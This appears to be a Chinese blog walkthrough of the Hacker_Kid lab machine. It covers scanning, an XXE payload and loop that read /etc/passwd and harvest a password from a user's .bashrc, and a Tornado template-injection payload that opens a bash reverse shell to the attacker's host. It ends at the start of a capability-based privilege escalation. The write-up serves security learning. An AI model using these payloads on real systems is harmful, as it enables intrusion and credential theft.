3

靶机练习: Hacker_Kid-v1.0.1 - shadow_D

 1 year ago
source link: https://www.cnblogs.com/shadow-/p/16906028.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

靶机: Hacker_Kid-v1.0.1

使用常规工具:

  • arp-scan
  • netdiscover
  • fping

初步扫描 sudo arp-scan -l -I eth1 发现目标 192.168.56.118

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1  
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:5c:43:96       PCS Systemtechnik GmbH
192.168.56.118  08:00:27:04:87:5a       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.154 seconds (118.85 hosts/sec). 3 responded

使用 nmap 进行端口扫描 nmap -A -T4 192.168.56.118 发现三个 tcp 端口开发

┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.118
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 11:32 CST
Nmap scan report for 192.168.56.118
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
|_http-server-header: TornadoServer/6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
  • 53 是 DNS 服务使用 ISC BIND 9.16.1 (Ubuntu Linux)

  • 80 是 http 服务使用 Apache httpd 2.4.41 ((Ubuntu))

    • http-title: Notorious Kid : A Hacker 看 Notorious Kid : A Hacker 对于初步信息收集应该从此处开始
  • 9999 也是 http 服务,但使用的是 Tornado httpd 6.1

    • 并且 http-title 以及 _Requested resource was /login?next=%2F 表明与登录有关

我们使用 firefox 先访问 http://192.168.56.118:80/ 发现此页面中是一个提示信息,一个黑客攻陷了此网站,并留了一个后面让我们使用 dig 但我们需要更多信息,进一步使用 Ctrl + U 查看源码

<!--

<div class="container py-5">
  <h1>Thanks</h1>

 TO DO: Use a GET parameter page_no  to view pages.
-->
    <!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
  • 在源码的一段注释信息中说此页面存在一个 GET 参数 page_no
  • page_no 翻译 page 页面,在开发中 no 一般指数字

我们随意尝试请求一下 http://192.168.56.118/?page_no=0 查看页面与原本的有什么区别

┌──(kali㉿kali)-[~]
└─$ comm -3 <(curl "http://192.168.56.118/" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null        1 ⨯

<font color="red">
</center>


<!--

<div class="container py-5">
  <h1>Thanks</h1>

        Oh Man !! Isn't is right to go a little deep inside?
        <font color="red">
        </center>


        <!--

        <div class="container py-5">
          <h1>Thanks</h1>             
  • 发现在 http://192.168.56.118/?page_no=0 页面下方多了一段红色提示 "Oh Man !! Isn't is right to go a little deep inside?"

  • 不同之处可以在访问浏览器中发现,也可以通过 curl 请求回返的源码通过 comm 进行比较发现不同的地方

    • 对比命令中的不同是使用 Process Substitution 将 curl 输出做为 comm 输入类似管道 | 的使用

    • 2>/dev/null 作用是将 标准错误 重定向到 /dev/null 文件

      • /dev/null 是一个特殊的文件,写入到它的内容都会被丢弃,可以理解为垃圾桶
  • 对于提示 "Oh Man !! Isn't is right to go a little deep inside?" 表示 我们的猜测大体正确,但参数的值不够准确,在换值 page_no=1 发现结果是一样的 comm -3 <(curl "http://192.168.56.118/?page_no=1" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null

对此我们编写一个爆破脚本 loop.sh 并执行 bash loop.sh 下面是脚本内容,在 0~50 进行爆破比对返回内容有异常的数值

i=0
while(( $i<=50 ))
do
    j=$((i+1))
    str=`comm -3 \
        <(curl -i "http://192.168.56.118/?page_no=$i" 2>/dev/null) \
        <(curl -i "http://192.168.56.118/?page_no=$j" 2>/dev/null) \
        2>/dev/null`
    if ((${#str} > 0))
    then
        echo $j
        break
    fi
    let "i++"
done
  • 爆破结果,值为21

    ┌──(kali㉿kali)-[~/workspace]
    └─$ bash loop.sh 
    21
    

我们访问 http://192.168.56.118/?page_no=21

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local
  • 发现在页面最下面有这样一段红色提示,如果瞎可以使用 comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null 看源码区别

    ┌──(kali㉿kali)-[~/workspace]
    └─$ comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null
    Oh Man !! Isn't is right to go a little deep inside?
    <font color="red">
    </center>
    
    <!--
    
    <div class="container py-5">
    <h1>Thanks</h1>
    
            Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local<br>
            <font color="red">
            </center>
    
    
            <!--
    
            <div class="container py-5">
            <h1>Thanks</h1>
    
  • 提示的大体意思是,他留下了一个关于域名的后门,并给出了一个 hackers.blackhat.local 的域名

扩充知识中:服务器虚拟主机原理

  • 服务器虚拟主机是指使用一台物理机器,充当多个主机名的 WEB 服务器
  • 使用虚拟主机的好处在于,一些小规模的网站,通过跟其他网站共享同一台物理机器,可以减少系统的运行成本,并且可以减少管理的难度
  • 虚拟主机的两种工作方式
    • 基于IP地址的虚拟主机方式
    • 基于主机名的虚拟主机方式

我们可以尝试篡改发送请求的请求头中的 Host 进行欺骗,上面提示有一个 hackers.blackhat.local 的域名,对于目前 IP 是固定的,说明目标使用了服务器虚拟主机管理多个 WEB 网站应用,我们使用 curl -H 'Host: hackerkid.blackhat.local' "http://192.168.56.118" 测试一番

┌──(kali㉿kali)-[~/workspace]
└─$ curl -H 'Host: hackerkid.blackhat.local' http://192.168.56.118                                                               130 ⨯
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Register Today</title>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript">
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<tel>' + $('#tel').val() + '</tel>' +
        '<email>' + $('#email').val() + '</email>' +
        '<password>' + $('#password').val() + '</password>' +
        '</root>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;

        }
    }
    xmlhttp.open("POST","process.php",true);
    xmlhttp.send(xml);
};
</script>
 <style>
body {
  background-image: url('back2.jpg');
 background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: cover;
}
</style> 
<style>
body {
  color: green;
}
</style>
</head>
<body>
<center>

    <div id="registration">
        <h2>Create Account</h2>
        <div id="RegisterUserForm">
            <fieldset>
                <p>
                <label for="name">Name</label>
                <input id="name" name="name" type="text" class="text"
                value="" />
                </p>

                <p>
                <label for="tel">Phone Number</label>
                <input id="tel" name="tel" type="tel" class="text" value=""
                />
                </p>

                <p>
                <label for="email">Email</label>
                <input id="email" name="email" type="email" class="text"
                value="" />
                </p>

                <p>
                <label for="password">Password</label>
                <input id="password" name="password" class="text"
                type="password" />
            
                <button id="registerNew"
                    onclick="XMLFunction()">Register</button>
                </p>
            </fieldset>
        </div>
    </div>
    <div id="errorMessage" color="red">
    </div>
</center>
</body>
</html>
  • 发现有不一样的内容比较,如果不喜欢源码阅读的可以通过下面方式看看 页面渲染后大体内容 【最后还是要读源码】

    • 部分拦截工具,拦截后篡改 Host 在浏览器上查看

      • BurpSuite
      • Mitmproxy 推荐
    • 也可将 curl 内容请求保存在本地上查看,最简单

    • 或者使用内核为 chromium 的浏览器使用 --host-resolver-rules 参数在命令行打开实例访问

      • --host-resolver-rules="MAP hackers.blackhat.local 192.168.56.118"
    • 改 hosts 文件,将域名与 IP 绑定

  • 从代码中可以看出 关键部分(请求相关的) 内容

    <fieldset>
        <p>
        <label for="name">Name</label>
        <input id="name" name="name" type="text" class="text"
        value="" />
        </p>
    
        <p>
        <label for="tel">Phone Number</label>
        <input id="tel" name="tel" type="tel" class="text" value=""
        />
        </p>
    
        <p>
        <label for="email">Email</label>
        <input id="email" name="email" type="email" class="text"
        value="" />
        </p>
    
        <p>
        <label for="password">Password</label>
        <input id="password" name="password" class="text"
        type="password" />
    
        <button id="registerNew"
            onclick="XMLFunction()">Register</button>
        </p>
    </fieldset>
    
  • 请求是使用 JavaScript 进行处理的,并且请求数据是封装成 xml 进行数据交互

    function XMLFunction(){
        var xml = '' +
            '<?xml version="1.0" encoding="UTF-8"?>' +
            '<root>' +
            '<name>' + $('#name').val() + '</name>' +
            '<tel>' + $('#tel').val() + '</tel>' +
            '<email>' + $('#email').val() + '</email>' +
            '<password>' + $('#password').val() + '</password>' +
            '</root>';
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if(xmlhttp.readyState == 4){
                console.log(xmlhttp.readyState);
                console.log(xmlhttp.responseText);
                document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
    
            }
        }
        xmlhttp.open("POST","process.php",true);
        xmlhttp.send(xml);
    };
    
  • xmlhttp.open("POST","process.php",true); 这一段是说明两点

    • 请求方式 Post
    • 最终会有 process.php 对 xml 数据进行处理,说明后台是使用 PHP 进行处理
  • Post 请求数据的 xml 结构

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name></name>
    <tel></tel>
    <email></email>
    <password></password>
</root>

我们可以尝试进行数据请求,使用如下命令,此命令本质是一行但为了便于各位理解进行了调整

echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>1</name>
  <tel>1</tel>
  <email>[email protected]</email>
  <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
  • 作用是向 http://192.168.56.118/process.php 发起请求,只有使用 -d 参数就是默认 POST 请求
  • -d 后面是跟请求数据,此处是使用 @ 后面应该跟文件,但通过 echo 输出 xml 的内容用管道输向 -
  • - 指定 echo 输出的内容
┌──(kali㉿kali)-[~/workspace]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>1</name>
  <tel>1</tel>
  <email>[email protected]</email>
  <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, [email protected] is not available !!! 
  • 返回的内容是 Sorry, [email protected] is not available !!! 其中 [email protected] 经过多次尝试此处是动态回返的
  • 对此我们可以尝试使用 xml 的相关漏洞
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>
  • 如果 <!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]> 看不懂,可以去查关于 DTD 的内容
  • 在 xml 中包含 DTD 需要使用 DOCTYPE 声明,这个应该好理解,其中 drug 是声明的 XML 文档构建模块 名称可以随意
  • ENTITY 是进行一个外部实体声明,其中 k 只是一个名称,使用 SYSTEM 引入外部资源,所以 k 现在代表 file:///etc/passwd
  • 其中 email 标签内容是 k 以此通过请求返回看到系统内部信息

利用 xml 的相关漏洞

┌──(kali㉿kali)-[~]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "file:///etc/passwd">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
 is not available !!!                                                                                            
  • 雀实存在漏洞,借此获取了 /etc/passwd 的内容

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
    avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
    usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
    rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
    dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
    speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
    avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
    kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
    saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
    nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
    hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
    whoopsie:x:120:125::/nonexistent:/bin/false
    colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
    geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
    pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
    gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
    gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
    saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
    
    • 发现一个用户 saket

我们使用脚本进行爆破,查看在隐秘文件中 是否存在账号密码相关的内容 全部看太多,重点依次排查

echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;

    if ((${#${str: 7:((${#str}-28))}}!=0)); then
        echo '\n#'$i'###:' >> ./test;
        echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
    fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
  • 读取改用 PHP 的 php://filter 元封装器可以绕过部分系统过滤
  • ./test 是存储经过 grep 过滤的文件,其中 grep -E "(username|root|saket|admin|password|passwd)" 只筛选与 username, root, saket, admin, password, passwd 关键词有关的内容,最后的 grep 会将 ./test 内容做一次完整输出
  • ./test 中存在目录,但下方为空的是被过滤导致的,如果账号密码没有线索需要对其中空的目录重点排查
  • 字典 ./file.txt 内容地址 https://www.cnblogs.com/shadow-/p/16904855.html 这些一般容易都是有漏洞的地方,如果链接失效可以在当前博客的 dict 标签中找到 “爆破字典:linux 敏感文件-01”
┌──(kali㉿kali)-[~/workspace]
└─$ echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;

    if ((${#${str: 7:((${#str}-28))}}!=0)); then
        echo '\n#'$i'###:' >> ./test;
        echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
    fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
------------------------------------------------------------------------------
HOME=/root
LOGNAME=root
# and files in /etc/cron.d. These files also have username fields,
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# It has been reported that passwords should be enclosed with ticks/quotes
# It has been reported that passwords should be enclosed with ticks/quotes
#/etc/passwd###:
root:x:0:0:root:/root:/bin/bash
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
#/home/saket/.bashrc###:
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
username="admin"
password="Saket!#$%@!!"
#/home/saket/.profile###:                        
  • 看来发现不简单,重点是 /home/saket/.bashrc 的内容,其他的【看 ./test 】都是默认内容【当然返回为空的不确定,为空的是备用信息源】

    • username="admin"
    • password="Saket!#$%@!!"
  • 分析账号不是 ssh 的用户,排除 ssh 登录,回想目前存在登录的地方

    • 记着前面的 nmap 扫描时的 9999 端口吗?扫描结果是与登录有关

其他的内容,可以查看 ./test 的内容

/etc/anacrontab###:

HOME=/root

LOGNAME=root


#/etc/crontab###:

# and files in /etc/cron.d. These files also have username fields,

17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )

52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )


#/etc/fstab###:


#/etc/host.conf###:


#/etc/ld.so.conf###:


#/etc/mysql/my.cnf###:

# It has been reported that passwords should be enclosed with ticks/quotes


#/etc/mysql/my.cnf###:

# It has been reported that passwords should be enclosed with ticks/quotes


#/etc/networks###:


#/etc/passwd###:

root:x:0:0:root:/root:/bin/bash

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin

saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash


#/etc/resolv.conf###:


#/etc/ssh/ssh_config###:


#/home/saket/.bashrc###:

# set variable identifying the chroot you work in (used in the prompt below)

if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then

    debian_chroot=$(cat /etc/debian_chroot)

    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '

    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"

username="admin"

password="Saket!#$%@!!"


#/home/saket/.profile###:

尝试访问 http://192.168.56.118:9999/ 使用密码账号尝试

  • 尝试结果 username 是 saket
  • 尝试结果 password 是 Saket!#$%@!!

登录后的,页面源码

<br>

<body bgcolor='black'>
    <center>
        <font color='green'> Tell me your name buddy<br><br><br>How can i get to know who are you ??</font>
        <br><br><br><br>
        <center>
            <p>
                <font color='red'><a href='/logout'>logout</a></font>
</body>
  • 当前页面应该是存在一个 GET 参数 name

随意请求一番,后的源码

<html>
 <head><title>
  Hello 1 </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>
  • 反复测试后,发现是将请求值嵌入 Hello 后面

  • 还记着 9999 端口使用的是 Tornado httpd 6.1

    • Tornado 是使用 Python 开发的全栈式 Web 框架
    • 对于 Web 框架熟悉的应该能理解 请求值是如何嵌入 Hello 后面的,不了解可以查看 Web 的 标签模板语言 相关内容

利用标签模板语言攻击

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1702, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 3173, in wrapper
    return method(self, *args, **kwargs)
  File "/opt/server.py", line 43, in get
    t = tornado.template.Template(template_data)
  File "/usr/local/lib/python3.8/dist-packages/tornado/template.py", line 326, in __init__
    self.compiled = compile(
  File "<string>.generated.py", line 11
    _tt_tmp = 1 abcdefjg  # <string>:10
                ^
SyntaxError: invalid syntax

  • 下面是报错,说明存在漏洞

  • 通用攻击语句 {{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg] 其中 abcdefjg 随意,目的让它报错,尽量不要让它正常通过

    • http://192.168.56.118:9999/?name={{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg]

探测使用的标签类型【其实知道是 Tornado 就已经确定】,使用 {{1*1}},${1*1},<%1*1%>,[1*1] 看那一段能正常运算

<html>
 <head><title>
  Hello {{1*1}},${1*1},<%1*1%>,[1*1] </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1,${1*1},<%1*1%>,[1*1]
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>
  • 明显是使用 {{}}

因为 Tornado 使用 Python 开发构建,构建语句 {% import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.116/4444 0>&1"')}} 如何进行转码绕过过滤 %7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.116%2F4444%200%3E%261%22%27)%7D%7D 编码网站:站长之家

┌──(kali㉿kali)-[~/workspace]
└─$ nc -nvlp 4444 
listening on [any] 4444 ...
connect to [192.168.56.116] from (UNKNOWN) [192.168.56.118] 42872
bash: cannot set terminal process group (673): Inappropriate ioctl for device
bash: no job control in this shell
saket@ubuntu:~$ 

本次提权需要 Capabilities 的知识

查看漏洞可能存在的权限漏洞使用 /sbin/getcap -r / 2>/dev/null

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null                                                                                                       
/usr/bin/python2.7 = cap_sys_ptrace+ep                                                                                              
/usr/bin/traceroute6.iputils = cap_net_raw+ep                                                                                       
/usr/bin/ping = cap_net_raw+ep                                                                                                      
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep                                                                                     
/usr/bin/mtr-packet = cap_net_raw+ep                                                                                                
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep                         
  • 其中 /usr/bin/python2.7 权限设置是有问题的
  • 使用 ps -aef | grep '/usr/sbin/apache2 -k start' 查看与进程 /usr/sbin/apache2 -k start 相关的进程号,选和 root 相关的
saket@ubuntu:/tmp$ ps -aef | grep '/usr/sbin/apache2 -k start'
ps -aef | grep '/usr/sbin/apache2 -k start'
root         888       1  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
